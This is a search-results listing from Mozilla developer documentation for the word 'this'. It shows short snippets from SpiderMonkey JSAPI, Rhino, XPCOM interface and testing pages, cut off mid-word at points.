this caveat does not apply to scripts that use liveconnect; the java values are wrapped and unwrapped as appropriate to conform to the above type constraints.) property access properties in javascript objects may be accessed using either string or numeric identifiers.
...however,
this is not the implementation used in practice because a number to string conversion is too expensive to be performed on every array access.
...And 2 more matches
Rhino serialization
however, for javascript
this creates a problem.
...if you are using rhino serialization in an environment where you always define, say, a constructor foo, you should add the following code before calling writeobject: out.addexcludedname("foo"); out.addexcludedname("foo.prototype");
this code will prevent foo and foo.prototype from being serialized and will cause references to foo or foo.prototype to be resolved to the objects in the new scope upon deserialization.
...(it might be possible to save the java bytecodes in an array and then load the class upon deserialization, but at best that would eat up a lot of memory for just
this feature.) one way around
this is to compile the functions using the jsc tool: $ cat f.js function f() { return 3; } $ java -classpath js.jarorg.mozilla.javascript.tools.jsc.main f.js $ cat test2.js loadclass("f"); serialize(f, "f.ser"); g = deserialize("f.ser"); print(g()); $ java -classpath 'js.jar;.'org.mozilla.javascript.tools.shell.main test2.js 3 now the function f is compiled to a java clas...
...And 2 more matches
Creating JavaScript jstest reftests
this directory contains tests of spidermonkey conformance to ecmascript as well as spidermonkey non-standard extenstions to ecmascript.
... at the time of
this writing, mozilla imports test262 tests in to the directory js/src/tests/test262.
... it is easy to make a test silently pass; anyone who has written js code for the web has written
this kind of if-statement: if (typeof gc === 'function') { var arr = []; arr[10000] = 'item'; gc(); asserteq(arr[10000], 'item', 'gc must not wipe out sparse array elements'); } else { print('test skipped: no gc function'); } reportcompare(0, 0, 'ok'); handling abnormal test terminations some tests can terminate abnormally even though the test has technically passed.
...And 2 more matches
Self-hosted builtins in SpiderMonkey
in contrast to function.prototype.call,
this syntax makes it impossible for other code to interfere and gets compiled to bytecode that doesn't have any overhead compared to a normal function invocation.
...
this restriction was added because otherwise it's extremely easy to accidentally call methods that have been changed by content, changing the behavior from what was expected.
...
this is to prevent accidentally calling content functions when assuming that content can't interfere with behavior.
...And 2 more matches
JSNewResolveOp
obsolete since jsapi 36
this feature is obsolete.
...
this hook instead of jsresolveop is called via the jsclass.resolve member if jsclass_new_resolve is set in jsclass.flags.
... setting jsclass_new_resolve and jsclass_new_resolve_gets_start further extends
this hook by passing in the starting object on the prototype chain via *objp.
...And 2 more matches
JSPrincipals
obsolete since jsapi 13 methods name description void dump()
this is not defined by the js engine but should be provided by the embedding.
...
this is used for memory management.
... codebase points to the common codebase for
this object or script.
...And 2 more matches
JS_AliasElement
obsolete since jsapi 8
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this name corresponds to a string representation of the element's current index number.
...And 2 more matches
JS_CompileFunctionForPrincipals
obsolete since jsapi 28
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... principals jsprincipals * pointer to the structure holding the security information for
this function.
...And 2 more matches
JS_DeleteProperty
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...no property is deleted, but
this is not an error.
...no property is deleted, but
this is not an error.
...And 2 more matches
JS_DumpNamedRoots
obsolete since jsapi 19
this feature is obsolete.
...
this may not be null.
...the javascript engine does not read from or write to
this pointer at all.
...And 2 more matches
JS_EncodeCharacters
obsolete since jsapi 19
this feature is obsolete.
...
this can be obtained with js_getstringchars.
...the caller is responsible for allocating and freeing
this buffer.
...And 2 more matches
JS_EnterLocalRootScope
obsolete since javascript 1.8.5
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...for example: jsbool my_getproperty(jscontext *cx, jsobject *obj, jsval id, jsval *vp) { jsbool ok; if (!js_enterlocalrootscope(cx)) return js_false; //
this function doesn't need to bother rooting any new objects, // strings, or doubles it creates using cx.
...And 2 more matches
JS_Enumerate
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...(the term own property refers to a property that is not inherited from the object's prototype.)
this is not quite the same behavior as a javascript for...in loop, which converts all property ids to strings and also enumerates inherited properties.
...
this calls obj's jsclass.enumerate hook.
...And 2 more matches
JS_EvaluateScript
obsolete since jsapi 36
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this parameter is documented in detail at js_executescript.
...And 2 more matches
JS_ExecuteScriptVersion
obsolete since jsapi 36
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.5 execute a compiled script with specified version.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...And 2 more matches
JS_ForgetLocalRoot
obsolete since javascript 1.8.5
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this must point to a jsobject, jsstring, jsfunction, or jsdouble.
...And 2 more matches
JS_Init
this article covers features introduced in spidermonkey 31 initializes the js engine so that further operations can be performed.
...once
this method has succeeded, it is safe to call js_newruntime and other jsapi methods.
...
this method must be called before any other jsapi method is used on any thread.
...And 2 more matches
JS_LeaveLocalRootScopeWithResult
obsolete since javascript 1.8.5
this feature is obsolete.
...
this must be the same context that was passed to js_enterlocalrootscope.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...And 2 more matches
JS_LookupProperty
obsolete since jsapi 37
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this will be either obj or an element on obj's prototype chain.
...And 2 more matches
JS_NewCompartmentAndGlobalObject
obsolete since jsapi 16
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.1 js_newcompartmentandglobalobject has been removed in bug 755186.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...And 2 more matches
JS_NewFunction
in a js_threadsafe build, the caller must be in a request on
this jscontext.
... call jsnative native c/c++ implementation of
this function.
... parent js::handle<jsobject*> pointer to the parent object for
this function.
...And 2 more matches
JS_NewObjectForConstructor
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this must be an object that has a prototype property.
...
this function does not run the code of the constructor function--it just creates the object.
...And 2 more matches
JS_NewPropertyIterator
obsolete since jsapi 36
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...(
this differs from longstanding for..in loop order, which uses the order in which obj's properties were defined.
...And 2 more matches
JS_PreventExtensions
in a js_threadsafe build, the caller must be in a request on
this jscontext.
... in javascript
this may be accomplished using the object.preventextensions method.
...
this might also occur if the object is a proxy, and some internal state of the proxy means that no coherent behavior is possible.
...And 2 more matches
JS_SetBranchCallback
obsolete since javascript 1.9.1
this feature is obsolete.
...
this is the context that is currently executing the code that triggered the callback.
...in js_threadsafe builds, the javascript engine calls
this callback only from within an active request on cx.
...And 2 more matches
JS_SetProperty
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...ordinarily
this function leaves v unchanged, but it is possible for a jsclass.addproperty hook or a non-default setter to assign to v.
... otherwise, if the lookup found a read-only property or obj non-extensible, nothing happens, but
this is not an error.
...And 2 more matches
JS_ValueToInt32
obsolete since jsapi 28
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this routine was added for layers-based graphics programming in netscape 4, but unless you know you need its rounding behavior, it is best to avoid it in favour of js::toint32.
...And 2 more matches
JS_ValueToNumber
obsolete since jsapi 24
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...js_valuetonumber always succeeds in
this case, returning js_true.
...And 2 more matches
JS_YieldRequest
obsolete since jsapi 18
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...a program can call
this function periodically to ensure that a long-running request does not block garbage collection indefinitely.
...And 2 more matches
Running Automated JavaScript Tests
]
this runs all the tests whose paths contain test_path_substring.
...by default, these are only run when no tests paths are specified;
this can be overridden by the --wpt=enabled flag.
...basic usage is the same: jit_test.py path_to_js_shell developers will usually want to run like
this to skip the slow tests and cover the most important options: jit_test.py --no-slow path_to_js_shell you can select specific tests to run in the same way as the jstests shell harness.
...And 2 more matches
Using RAII classes in Mozilla
we have two techniques for avoiding
this problem: static analysis and runtime assertions.
... static analysis static analysis passes are run on our testing infrastructure using our clang plugin, you can also run them locally marking a raii class for the static analysis is very simple, and performing
this marking causes the static analysis to produce a build-time error whenever a raii class is allocated as a temporary, on the heap, or in static storage.
...
this involves just one addition to the class, and the inclusion of attributes.h: class moz_raii nsautoscriptblocker {...}
this is much simpler and more thorough than the guardobject runtime assertions, but are unfortunately currently only run on mac os x and linux builds, which means that guardobject should still be used for raii guards which may be used in windows-only code.
...And 2 more matches
Exploitable crashes
this article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.
...
this is typically located right above the stack trace.
... the last number, in
this case 0x00000000, is the memory address firefox was prevented from accessing.
...And 2 more matches
AT APIs Support
but in the meantime it more up-to-date and contains more details than existed analogues for at-spi and msaa
this documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support gecko-based software.
... on windows platform mfcembed testing client -
this is a very simple package, great for testing basic html accessibility with your products and the gecko rendering engine (please contact us for a copy).
...
this is done to ensure a common look and feel across all supported platforms, and to allow for different skins (appearances).
...And 2 more matches
XUL Accessibility
introduction
this article shows how xul control elements are mapped to accessibility api.
...at api general rules
this section holds some rules applied to generating accessible name and description.
...ute is appended otherwise append tooltiptext attribute append the accessible value searching specific element in neighbour of the element search inside the element subtree go up through parents (max level is 5) and search inside theirs subtrees if the element is anonymous then search in whole anonymous subtree, here the attribute anonid is used instead of id attribute accessible properties
this section describes common rules how accessibility properties are formed for xul elements.
...And 2 more matches
Feed content access API
loading the feed and sending it to the parser is done using code similar to
this: fetch: function(feedurl) { var httprequest = null; function inforeceived() { var data = httprequest.responsetext; var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var uri = ioservice.newuri(feedurl, null, null); if (data.length) { var par...
... } catch(e) { alert("error parsing feed."); } } } httprequest = new xmlhttprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several possible sources; in
this case, we're loading a document into a string, then parsing that string using its parsefromstring() method.
...that code looks like
this: feedtestresultlistener.prototype = { handleresult: function(result) { var feed = result.doc; feed.queryinterface(components.interfaces.nsifeed); // open a new window var win = window.open("", "feedtest_window"); var doc = win.document.wrappedjsobject; doc.open(); // write the html header and page title doc.write("<html><head><title>feed: " + feed.title.text + "</title></head><body>"); doc.write("<h1>" + feed.title.text + "</h1><p>"); var it...
...And 2 more matches
Mork
the information on
this page was constructed by reading the source code of the mork database in mozilla and attempting to codify what it parses as faithfully as possible.
...the header is: // <!-- <mdb:mork:z v="1.4"/> -->
this file is therefore version 1.4 of the zany mork format for the message database.
...
this value is used to establish which dictionary the aliases are added to.
...And 2 more matches
Retrieving part of the bookmarks tree
this document provides a quick start for those wishing to quickly retrieve a portion of the bookmarks tree.
...
this example will get the id of the bookmarks toolbar: var bookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); var toolbarfolder = bookmarksservice.toolbarfolder; the placesroot is the root folder in the whole places hierarchy.
...uery object: query.setfolders([toolbarfolder], 1); run the query the executequery and executequeries functions will return an nsinavhistoryresult object containing the results of your query: var result = historyservice.executequery(query, options); get the results when you are querying for exactly one folder grouped by folder with no fancy query parameters such as keywords or date ranges (as in
this example), the root of the result will be an nsinavhistorycontainerresultnode corresponding to your folder.
...And 2 more matches
extIPreferenceBranch
this content covers features introduced in thunderbird 3 the extipreferencebranch interface provides simplified access to preferences.
...all preference "aname" parameters used in
this interface are relative to the root branch.
... all readonly attribute nsivariant array of extipreference listing all preferences in
this branch.
...And 2 more matches
Generating GUIDs
guids are used in mozilla programming for identifying several types of entities, including xpcom interfaces (
this type of guids is callled iid), components (cid), and legacy add-ons—like extensions and themes—that were created prior to firefox 1.5.
...(
this tool is also part of ms visual c++) linux use /usr/bin/uuidgen.
...
this can be found in package uuid-runtime (debian).
...And 2 more matches
Creating XPCOM components
next »
this guide is about gecko, and about creating xpcom components for gecko-based applications.
... note:
this article describes a method that uses xpidl but you should use webidl instead.
... preface who should read
this book organization of the tutorial following along with the examples conventions acknowledgements an overview of xpcom the xpcom solution gecko components interfaces interfaces and encapsulation the nsisupports base interface xpcom identifiers cid contract id factories xpidl and type libraries xpcom services xpcom types method types reference counting status codes variable mappings common xpcom error codes using xpcom components component examples cookie manager the webbrowserfind component the weblock component component use in mozilla finding mozilla components using xpcom components in your cpp xpconnect: using xpcom components from script component internals cre...
...And 2 more matches
XPCOM guide
this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.creating xpcom components
this guide is about gecko, and about creating xpcom components for gecko-based applications.how to build an xpcom component in javascriptif you are looking for add-on sdk solution for xpcom javascript components ...
...
this guide documents the string classes which are visible to code within the mozilla codebase (code which is linked into libxul).
...
this guide describes the available arrays as well as the enumerator classes that can be used to get to them.
...And 2 more matches
Components.classes
the properties of
this object are indexed by the contractid (or human-readable name) of the component class.
... all of the properties and methods of the nsijscid and its ancestor interface nsijsid are available for use on the objects contained in
this object.
...onents.classes, ci = components.interfaces; var os = cc["@mozilla.org/observer-service;1"] .getservice(ci.nsiobserverservice); a less known trick, useful when creating multiple instances of the same component, is to use the new operator on the class object: var clazz = components.classes["@mozilla.org/supports-array;1"]; var inst = new clazz(components.interfaces.nsisupportsarray);
this implicitly calls the createinstance() method for you.
...And 2 more matches
Components.utils.unload
this can be particularly handy with restartless (boostrapped) extensions, so that you can unload an old version of a code module when a new version of your add-on is installed.
... once
this method has been called, references to the module will continue to work but any subsequent import of the module will reload it and give a new reference.
... if the javascript code module has not yet been imported then
this method will do nothing.
...And 2 more matches
NS_InitXPCOM2
you may pass null if you are not interested in
this return value.
...
this parameter may be nsnull.
...some of the possible errors are documented below: ns_error_not_initialized indicates that static globals were not yet initialized, which may happen if
this method is called before xpcom's static initialization code executes.
...And 2 more matches
nsACString
this class is typically used to represent ascii or utf-8 character arrays.
...}; typedefs char_type [char] storage unit for
this class.
... self_type [nsacstring] an alias for the type of
this class.
...And 2 more matches
nsAString
this class is typically used to represent unicode character arrays.
...}; typedefs char_type [prunichar] storage unit for
this class.
... self_type [nsastring] an alias for the type of
this class.
...And 2 more matches
IAccessibleAction
other-licenses/ia2/accessibleaction.idlnot scriptable
this interface gives access to actions that can be executed for accessible objects.
... 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) every accessible object that can be manipulated via the native gui beyond the methods available either in the msaa iaccessible interface or in the set of iaccessible2 interfaces (other than
this iaccessibleaction interface) should support the iaccessibleaction interface in order to provide assistive technology access to all the actions that can be performed by the object.
...there is no need to implement
this method for single action controls since that would be redundant with the standard msaa programming practice of getting the mnemonic from get_acckeyboardshortcut.
...And 2 more matches
mozIStorageVacuumParticipant
/storage/public/mozistoragevacuumparticipant.idlscriptable components can implement
this interface to provide information to allow a database to be periodically vacuumed by the storage service.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to create an instance of
this interface, use the category manger, with the category "vacuum-participant".
...the vacuum manager will try to correct the page size when the browser is idle, using
this value as a target.
...And 2 more matches
mozIVisitInfo
toolkit/components/places/moziasynchistory.idlscriptable
this interface provides additional info for a visit.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description referreruri nsiuri read only: the referring uri of
this visit.
...
this may be null.
...And 2 more matches
nsIAbCard
ar astring birthmonth astring birthday astring custom1 astring custom2 astring custom3 astring custom4 astring notes astring lastmodifieddate unsigned long popularityindex unsigned long popularityindex is bumped every time e-mail is sent to
this recipient .
... allowremotecontent boolean allow remote content to be displayed in html mail received from
this contact methods getcardvalue() astring getcardvalue(in string name) parameters name the attribute you want the value for.
... copy()
this function will copy all values from one card to another.
...And 2 more matches
nsIAccessibleRetrieval
getaccessibleinwindow() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) return an nsiaccessible for a dom node in present shell for
this dom window.
... return value the nsiaccessible for the given dom node or null if an accessible does not already exist for
this dom node.
... return value the nsiaccessnode for the given dom node or null if an access node does not already exist for
this dom node.
...And 2 more matches
nsIAsyncVerifyRedirectCallback
netwerk/base/public/nsiasyncverifyredirectcallback.idlscriptable implement
this interface to receive a callback that lets you know whether an asynchronous redirect was verified or vetoed.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this interface implements the callbacks passed to the nsichanneleventsink.asynconchannelredirect() method.
...the result of the redirect decision is passed through
this callback.
...And 2 more matches
nsIAuthPrompt
netwerk/base/public/nsiauthprompt.idlscriptable
this interface allows the networking layer to pose a user/password prompt to obtain the values needed for authentication.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3)
this interface is implemented by @mozilla.org/login-manager/prompter;1.
... methods prompt()
this method puts up a text input dialog with ok and cancel buttons.
...And 2 more matches
nsICache
netwerk/cache/public/nsicache.idlscriptable please add a summary to
this article.
...access granted - you can read from
this descriptor.
...access granted - you must write to
this descriptor because the cache entry was just created for you.
...And 2 more matches
nsIChromeRegistry
chrome/public/nsichromeregistry.idlscriptable provides access to the chrome registry; you can use
this to get information about chrome documents that have been registered.
...uri convertchromeurl(in nsiuri achromeurl); boolean wrappersenabled(in nsiuri auri); violates the xpcom interface guidelines constants constant value description none 0 partial 1 full 2 methods canonify() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note:
this method is obsolete; use convertchromeurl() instead.
...
this is useful because chrome urls are allowed to be specified in "shorthand", leaving the "file" portion off.
...And 2 more matches
nsIClipboardDragDropHooks
use
this to do things such as prevent a drag from starting, adding or removing data and flavors, or preventing the drop.
... method overview boolean allowdrop(in nsidomevent event, in nsidragsession session); boolean allowstartdrag(in nsidomevent event); boolean oncopyordrag(in nsidomevent aevent, in nsitransferable trans); boolean onpasteordrop(in nsidomevent event, in nsitransferable trans); methods allowdrop() tells gecko whether a drop is allowed on
this content area.
... return value true indicates to the operating system that if a drop does happen on
this browser, it will be accepted.
...And 2 more matches
nsIComponentManager
xpcom/components/nsicomponentmanager.idlscriptable
this interface provides methods to access factory objects and instantiate instances of classes.
...
this method was introduced in gecko 8 to let bootstrapped add-ons provide content at chrome:// uris.
... until gecko 10 you had to call
this method manually from within the add-on's startup() method (with a matching removebootstrappedmanifestlocation() call in the add-on's shutdown() method).
...And 2 more matches
nsIContentPrefObserver
dom/interfaces/base/nsicontentprefservice.idlscriptable
this interface allows code to easily watch for changes to the values of content preferences.
... void oncontentprefremoved( in astring agroup, in astring aname ); parameters agroup the group to which the removed preference belonged;
this may be the uri of a web site.
...
this value is null if the preference was global, applying to all web sites.
...And 2 more matches
nsIConverterOutputStream
xpcom/io/nsiconverteroutputstream.idlscriptable
this interface allows writing strings to a stream, doing automatic character encoding conversion.
...to create an instance, use: var converteroutputstream = components.classes["@mozilla.org/intl/converter-output-stream;1"] .createinstance(components.interfaces.nsiconverteroutputstream); method overview void init(in nsioutputstream aoutstream, in string acharset, in unsigned long abuffersize, in prunichar areplacementcharacter); methods init() initialize
this stream.
... must be called before any other method on
this interface, or you will crash.
...And 2 more matches
nsICookiePromptService
extensions/cookie/nsicookiepromptservice.idlscriptable please add a summary to
this article.
...hostname the host that wants to set the cookie, not the domain;
this is part of the cookie.
... cookiesfromhost the number of cookies there are already for
this host.
...And 2 more matches
nsIDNSRecord
netwerk/dns/nsidnsrecord.idlscriptable
this interface represents the result of a dns lookup.
... methods native code only!getnextaddr
this function copies the value of the next ip address into the given prnetaddr struct and increments the internal address iterator.
...getnextaddrasstring()
this function returns the value of the next ip address as a string and increments the internal address iterator.
...And 2 more matches
nsIDOMElement
dom/interfaces/core/nsidomelement.idlscriptable
this interface represents an element in an html or xml document.
...nsidomnodelist getelementsbytagname( in domstring name ); parameters name tag name return value a nsidomnodelist containg all the descendants of
this tag name.
...nsidomnodelist getelementsbytagnamens( in domstring namespaceuri, in domstring localname ); parameters namespaceuri namespace uri localname tag name return value a nsidomnodelist containg all the descendants of
this tag name.
...And 2 more matches
nsIDOMMouseScrollEvent
dom/interfaces/events/nsidommousescrollevent.idlscriptable
this interface represents a mouse scroll wheel event.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note prior to gecko 1.9.2,
this inherited from nsisupports instead of from nsidommouseevent.
...creenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis); attributes attribute type description axis long indicates which mouse wheel axis changed;
this will be either horizontal_axis or vertical_axis.
...And 2 more matches
nsIDOMSerializer
content/base/public/nsidomserializer.idlscriptable
this interface is really a placeholder till the w3c dom working group defines a mechanism for serializing dom nodes.
... an instance of
this interface can be used to serialize a dom document or any dom subtree.
...
this could be any node, including a document.
...And 2 more matches
nsIDirectoryServiceProvider
xpcom/io/nsidirectoryservice.idlscriptable
this interface is used by the directory service to get file locations.
...method overview nsifile getfile(in string prop, out prbool persistent); methods getfile() the directory service calls
this method when it gets the first request for a prop or on every request if the prop is not persistent.
...subsequent requests for
this prop will bypass the provider and use the cache.
...And 2 more matches
nsIEventListenerInfo
content/events/public/nsieventlistenerservice.idlscriptable an instance of
this interface describes how an event listener was added to an event target; these are returned by nsieventlistenerservice.getlistenerinfofor, which provides a list of all the listeners to a given event target.
...return value if jsdidebuggerservice is active and the listener is implemented in js,
this returns the listener as a jsdivalue.
...
this is the method you should use if you want to get access to the actual listener, but the debugger service must be already active, which significantly slows down script execution.
...And 2 more matches
nsIEventListenerService
content/events/public/nsieventlistenerservice.idlscriptable a service that can be used to get a list of listeners observing events;
this is primarily useful for debuggers.
...to create an instance, use: var eventlistenerservice = components.classes["@mozilla.org/eventlistenerservice;1"] .getservice(components.interfaces.nsieventlistenerservice); universalxpconnect privileges are required to use
this service.
...note: some events, especially 'load', may actually have a shorter event target chain than what
this methods returns.
...And 2 more matches
nsIFeedProgressListener
toolkit/components/feeds/public/nsifeedlistener.idlscriptable
this interface defines callbacks used during the processing of an rss or atom feed.
...in atom, all feed data is required to precede the entries; in rss,
this isn't required but is typically the case.
... in other words, by the time
this method is called, it is most likely that most or all of the feed-level metadata has been processed and is available in the received nsifeedresult object.
...And 2 more matches
nsIFileProtocolHandler
netwerk/protocol/file/nsifileprotocolhandler.idlscriptable
this interface provides methods to convert between nsifile and nsiuri.
... warning:
this restriction may not be enforced at runtime!
...warning:
this restriction may not be enforced at runtime!
...And 2 more matches
nsIINIParserWriter
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10)
this interface provides methods that allow writing to ini-format configuration files.
... to create an nsiiniparserwriter object, you use the nsiiniparserfactory interface to create a parser, then nsisupports.queryinterface() that to get an nsiiniparserwriter, like
this: let writer = components.classes["@mozilla.org/xpcom/ini-processor-factory;1"].
...
this indicates the file into which the ini data will be written.
...And 2 more matches
nsILocaleService
to use
this service, use: var localeservice = components.classes["@mozilla.org/intl/nslocaleservice;1"] .getservice(components.interfaces.nsilocaleservice); method overview nsilocale getapplicationlocale(); astring getlocalecomponentforuseragent(); nsilocale getlocalefromacceptlanguage(in string acceptlanguage); nsilocale getsystemlocale(); nsilocale newlocale(in astring alocale); nsilocale newlocaleobject(in nsilocaledefinition localedefinition); obs...
...note:
this has nothing to do with the locale used for localization of the application (ui text strings and so on.).
...
this method returns something similar to getsystemlocale.
...And 2 more matches
nsIMessageSender
methods void sendasyncmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects, [optional] in nsiprincipal principal); sendasyncmessage() send messagename and obj to the "other side" of
this message manager.
...
this invokes listeners who registered for messagename using a nsimessagelistenermanager.
...
this becomes the name property of the received message.
...And 2 more matches
nsIMicrosummaryService
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable
this interface provides methods for managing installed microsummaries, and the bookmarks they apply to.
...the set might change after
this method returns, since
this method will trigger an asynchronous load of the page in question (if it isn't already loaded) to see if it references any page-specific microsummaries.
... if the caller passes a bookmark id, and one of the microsummaries is the current one for the bookmark,
this method will retrieve content from the datastore for that microsummary, which is useful when callers want to display a list of microsummaries for a page that isn't loaded, and they want to display the actual content of the selected microsummary immediately (rather than after the content is asynchronously loaded).
...And 2 more matches
nsIMimeConverter
this should only be used by native code, as xpconnect translation causes it to not work properly.
... structured whether or not
this string may contain <> blocks which should not be encoded (e.g., the from and to headers).
...usually you would use
this to store you own properties.
...And 2 more matches
nsIMsgCustomColumnHandler
mailnews/base/public/nsimsgcustomcolumnhandler.idlscriptable please add a summary to
this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsitreeview
this interface is meant to be implemented by extensions, as shown in the tutorial.
...olumnhandler() method: var handler = gdbview.getcolumnhandler("newcolumn"); and removed using the nsimsgdbview.removecolumnhandler() method: gdbview.removecolumnhandler("newcolumn"); method overview astring getsortstringforrow(in nsimsgdbhdr ahdr); unsigned long getsortlongforrow(in nsimsgdbhdr ahdr); boolean isstring(); methods getsortstringforrow() if the column displays a string,
this will return the string that the column should be sorted by.
...And 2 more matches
nsIMsgProtocolInfo
method overview long getdefaultserverport(in boolean issecure); attributes attribute type description candelete boolean true if an account of
this type may be deleted.
... defaultlocalfilepath nsilocalfile the default path under which all server data for
this account type will be stored.
... methods getdefaultserverport() returns the default port for a connection to a server of
this account type.
...And 2 more matches
nsIMsgSearchSession
name value description booleanor 0 booleanand 1 methods addsearchterm() void addsearchterm(in nsmsgsearchattribvalue attrib, in nsmsgsearchopvalue op, in nsimsgsearchvalue value, in boolean booleanand, in string arbitraryheader); parameters attrib attribute for
this term.
... void unregisterlistener (in nsimsgsearchnotify listener); parameters listener getnthsearchterm() void getnthsearchterm(in long whichterm, in nsmsgsearchattribvalue attrib, in nsmsgsearchopvalue op, in nsimsgsearchvalue value); parameters whichterm attrib op value note:
this parameter should be an out.
... void addscopeterm(in nsmsgsearchscopevalue scope, in nsimsgfolder folder); parameters scope folder adddirectoryscopeterm() void adddirectoryscopeterm(in nsmsgsearchscopevalue scope); parameters scope clearscopes() void clearscopes(); scopeusescustomheaders() call
this function everytime the scope changes!
...And 2 more matches
nsINavHistoryFullVisitResultNode
toolkit/components/places/public/nsinavhistoryservice.idlscriptable
this interface describes a result from a result_type_full_visit query on the places service.
...
this includes more detailed information than the result_type_visit query (which returns nsinavhistoryvisitresultnode, and as such takes more time to look up.
... 1.0 66 introduced gecko 1.9 inherits from: nsinavhistoryvisitresultnode last changed in gecko 1.9 (firefox 3) the information returned in
this interface is not commonly used, hence its separation into a separate query type for efficiency.
...And 2 more matches
nsIParserUtils
1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) warning: do not use
this from within gecko--use nscontentutils, nstreesanitizer, and so on directly instead.
... at present, sanitizing css backgrounds, and so on., is not supported, so setting
this together with sanitizerallowstyle doesn't make sense.
... at present, sanitizing css syntax in svg presentational attributes is not supported, so
this option flattens out svg.
...And 2 more matches
nsIPrefService
modules/libpref/public/nsiprefservice.idlscriptable
this interface is the main entry point into the back end preferences management library.
...using a set method on
this object will always create or set a user preference value.
... nsiprefbranch getbranch( in string aprefroot ); parameters aprefroot the preference root tree on which to base
this branch.
...And 2 more matches
nsIProcess2
xpcom/threads/nsiprocess.idlscriptable
this interface represents an executable process.
...
this expands upon the nsiprocess interface.
... 1.0 66 introduced gecko 1.9.1 obsolete gecko 1.9.2 inherits from: nsiprocess last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note
this interface was removed in gecko 1.9.2 and its method added to nsiprocess.
...And 2 more matches
nsISelectionPrivate
inherits from: nsisupports last changed in gecko 35 (firefox 35 / thunderbird 35 / seamonkey 2.32) warning: the content of
this article may be out of date.
...
this page wasn't updated since the initial import in 2011.
... return value a reference to the frame selection associated with
this selection.
...And 2 more matches
nsIServerSocketListener
netwerk/base/public/nsiserversocket.idlscriptable
this interface is notified whenever a server socket accepts a new connection.
... inherits from: nsisupports last changed in gecko 1.7 method overview void onsocketaccepted(in nsiserversocket aserv, in nsisockettransport atransport); void onstoplistening(in nsiserversocket aserv, in nsresult astatus); methods onsocketaccepted()
this method is called when a client connection is accepted.
... onstoplistening()
this method is called when the listening socket stops for some reason.
...And 2 more matches
nsIStyleSheetService
layout/base/nsistylesheetservice.idlscriptable please add a summary to
this article.
...a user sheet loaded via
this api will come before usercontent.css and userchrome.css in the cascade (so the rules in it will have lower precedence than rules in those sheets).
... an agent sheet loaded via
this api will come after ua.css in the cascade (so the rules in it will have higher precedence than rules in ua.css).
...And 2 more matches
nsITelemetry
1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/base/telemetry;1 as a service: let telemetry = components.classes["@mozilla.org/base/telemetry;1"] .getservice(components.interfaces.nsitelemetry); method overview jsval ge
thistogrambyid(in acstring id); jsval snapsho
thistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); jsval getkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsval snapshotcapturedstacks([optional] in boolean clear); nsisupports getloadedmodules(); jsval snapshotkeyedhistograms(in uint32_t adataset, ...
...in boolean asubsession, in boolean aclear); void se
